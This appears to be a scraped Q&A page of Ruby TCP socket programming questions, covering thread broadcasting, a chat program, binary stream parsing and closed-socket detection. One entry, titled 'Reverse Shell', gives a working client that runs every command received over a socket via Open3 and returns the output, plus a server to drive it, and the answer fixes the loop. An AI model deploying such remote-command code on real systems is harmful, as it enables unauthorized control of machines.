Ruby - MultiThreading TCP Messages - ruby

I am having an issue with a ruby server I am writing.
The server functions fine until you have more than one client attached, then it sends out the messages in a round-robin like way, when I want all clients to get the message at the same time.
The server is supposed to grab any clients that connects, but then wait till I issue a command. The problem is only one client is getting the command, when I enter a command again another client gets it and so on
SERVER
require 'socket'
mutex = Mutex.new
cv = ConditionVariable.new
server = TCPServer.open(2000)
#Comm="test"
Thread.new{
loop {
Thread.start(server.accept) do |client|
client.puts("Client accepted")
mutex.synchronize {
cv.wait(mutex)
client.puts("##Comm")
client.close
}
end
}
}
loop {
system "clear" or system "cls"
print("Enter Command\n")
#Comm = gets()
mutex.synchronize {
cv.signal
}
}
CLIENT
require 'socket' # Sockets are in standard library
hostname = 'localhost'
port = 2000
loop {
begin
s = TCPSocket.open(hostname, port)
system "clear" or system "cls"
while line = s.gets # Read lines from the socket
puts line.chop # And print with platform line terminator
end
s.close
rescue
next
end
sleep(0.5)
}

Using .signal on ConditionVariable only wakes up one thread, but .broadcast will go and wake up all that are waiting to be signaled.

Related

Reverse Shell - How to make the server print multiple messages sent to the client

My reverse shell will only print the output of "ls" command the first time, how can I make it print, in the server, as many times as I want to?
require 'socket'
require 'open3'
def createClient(hostname, port)
s = TCPSocket.new hostname, port
while line = s.gets
if line == "exit"
s.close
end
stdin, stdout, stderr, wait_thr = Open3.popen3(line)
s.puts("#{stdout.read}")
end
end
createClient("127.0.0.1", 9090)
require 'socket'
def createServer(hostname, port)
server = TCPServer.new(hostname, port)
client = server.accept
loop do
message = gets.chomp
if message == "exit"
break
end
client.puts(message)
while line = client.gets
puts line
end
end
client.close
end
createServer("127.0.0.1", 9090)
I was expecting the server to print all of the ls commands processed by the client, but it only printed the first one.
the client.gets keeps listening to the socket until it is closed. so it hangs there.
you can try to open a tread to listen to the socket. The main loop listens to stdin and sends msg to the socket. like this:
Thread.new do
while line = client.gets
puts line
end
end
loop do
message = gets.chomp
if message == "exit"
break
end
client.puts(message)
end
client.close

Network chat program!! (Need a little help)

I have been working on a small script that allows communication though the TCPsocket command. I am stuck on a small error in my code. For some reason after running it twice the it stops running the RX loop.
I also worry that while its waiting for me to enter something for the get statement, that it won't be looking for incoming messages...
Any help is greatly appreciated. Thanks in advance guys
require 'socket'
ip = 'localhost'
port = 18000
TX = Thread.new do
loop {
Serv = TCPSocket.open(ip, port)
message = gets.chomp()
Serv.write(message)
Serv.close
}
end
RX = Thread.new do
loop {
server = TCPServer.open(port)
client = server.accept
puts client.gets
}
end
RX
TX.join
You should initialize the server outside the loop. (And to avoid warnings, you should not reassign a constant name like Serv in a loop):
require 'socket'
ip = 'localhost'
port = 18000
TX = Thread.new do
loop {
conn = TCPSocket.open(ip, port)
message = gets.chomp()
conn.write(message)
conn.close
}
end
RX = Thread.new do
server = TCPServer.open(port)
loop {
client = server.accept
puts client.gets
}
end
TX.join
If you want to serve multiple clients simultaneously, take a hint from the second example at http://ruby-doc.org/stdlib-1.9.3/libdoc/socket/rdoc/TCPServer.html and use Thread.start(server.accept) { |client| ... }.

how to use the ruby analytical receive binary stream from the TCP

I'm going to the receiving device over the data, but these data are binary stream, I put these data storage, then read to display them correctly, is there a better way?
require 'socket'
server = TCPServer.open(2000)
loop {
Thread.start(server.accept) do |client|
File.open("tmp","w") { |file| file.write(client.gets)}
File.open("tmp").each do |f|
puts f.unpack('H*')
end
client.puts(Time.now.ctime) # Send the time to the client
client.puts "Closing the connection. Bye!"
client.close # Disconnect from the client
end
}
the received data like this: xx^Q^A^Hb0# <90>26 2^B^#<83>ev
I want like this: 787811010862304020903236202032020001c26c0d0a
sorry about my poor English!
Using a temporary file with a name will cause a problem if there are multiple clients sending data; the temporary file will be overwritten.
You don't need to use a temporary file.
require 'socket'
server = TCPServer.open(2000)
loop {
Thread.start(server.accept) do |client|
puts client.gets.unpack('H*')
client.puts(Time.now.ctime) # Send the time to the client
client.puts "Closing the connection. Bye!"
client.close
end
}

Ruby: How to detect when one side of a socket has been closed

How can I detect that a socket is half-open? The case I'm dealing with is when the other side of a socket has sent a FIN and the Ruby app has ACKed that FIN. Is there a way for me to tell that the socket is in this condition?
Take, for example:
require 'socket'
s = TCPServer.new('0.0.0.0', 5010)
loop do
c = s.accept
until c.closed?
p c.recv(1024)
end
end
In this case, when I telnet into port 5010, I'll see all my input until I close the telnet session. At that point, it will print empty strings over and over as fast as it can.
You are using the blocking call recv, which will return nil when the other end closes. The socket won't be closed until you close it. Change
until c.closed?
p c.recv(1024)
end
to
while (s = c.recv(1024)) && s > 0
p s
end
c.close
You could combine IO#read and IO#eof? to check this.
require 'socket'
server = TCPServer.new('0.0.0.0', 5010)
loop do
client = server.accept
client.read(1024) until client.eof?
puts 'client closed connection'
client.close
end

Recovering from a broken TCP socket in Ruby when in gets()

I'm reading lines of input on a TCP socket, similar to this:
class Bla
def getcmd
#sock.gets unless #sock.closed?
end
def start
srv = TCPServer.new(5000)
#sock = srv.accept
while ! #sock.closed?
ans = getcmd
end
end
end
If the endpoint terminates the connection while getline() is running then gets() hangs.
How can I work around this? Is it necessary to do non-blocking or timed I/O?
You can use select to see whether you can safely gets from the socket, see following implementation of a TCPServer using this technique.
require 'socket'
host, port = 'localhost', 7000
TCPServer.open(host, port) do |server|
while client = server.accept
readfds = true
got = nil
begin
readfds, writefds, exceptfds = select([client], nil, nil, 0.1)
p :r => readfds, :w => writefds, :e => exceptfds
if readfds
got = client.gets
p got
end
end while got
end
end
And here a client that tries to break the server:
require 'socket'
host, port = 'localhost', 7000
TCPSocket.open(host, port) do |socket|
socket.puts "Hey there"
socket.write 'he'
socket.flush
socket.close
end
The IO#closed? returns true when both reader and writer are closed.
In your case, the #sock.gets returns nil, and then you call the getcmd again, and this runs in a never ending loop. You can either use select, or close the socket when gets returns nil.
I recommend using readpartial to read from your socket and also catching peer resets:
while true
sockets_ready = select(#sockets, nil, nil, nil)
if sockets_ready != nil
sockets_ready[0].each do |socket|
begin
if (socket == #server_socket)
# puts "Connection accepted!"
#sockets << #server_socket.accept
else
# Received something on a client socket
if socket.eof?
# puts "Disconnect!"
socket.close
#sockets.delete(socket)
else
data = ""
recv_length = 256
while (tmp = socket.readpartial(recv_length))
data += tmp
break if (!socket.ready?)
end
listen socket, data
end
end
rescue Exception => exception
case exception
when Errno::ECONNRESET,Errno::ECONNABORTED,Errno::ETIMEDOUT
# puts "Socket: #{exception.class}"
#sockets.delete(socket)
else
raise exception
end
end
end
end
end
This code borrows heavily from some nice IBM code by M. Tim Jones. Note that #server_socket is initialized by:
#server_socket = TCPServer.open(port)
#sockets is just an array of sockets.
I simply pgrep "ruby" to find the pid, and kill -9 the pid and restart.
If you believe the rdoc for ruby sockets, they don't implement gets. This leads me to believe gets is being provided by a higher level of abstraction (maybe the IO libraries?) and probably isn't aware of socket-specific things like 'connection closed.'
Try using recvfrom instead of gets

Resources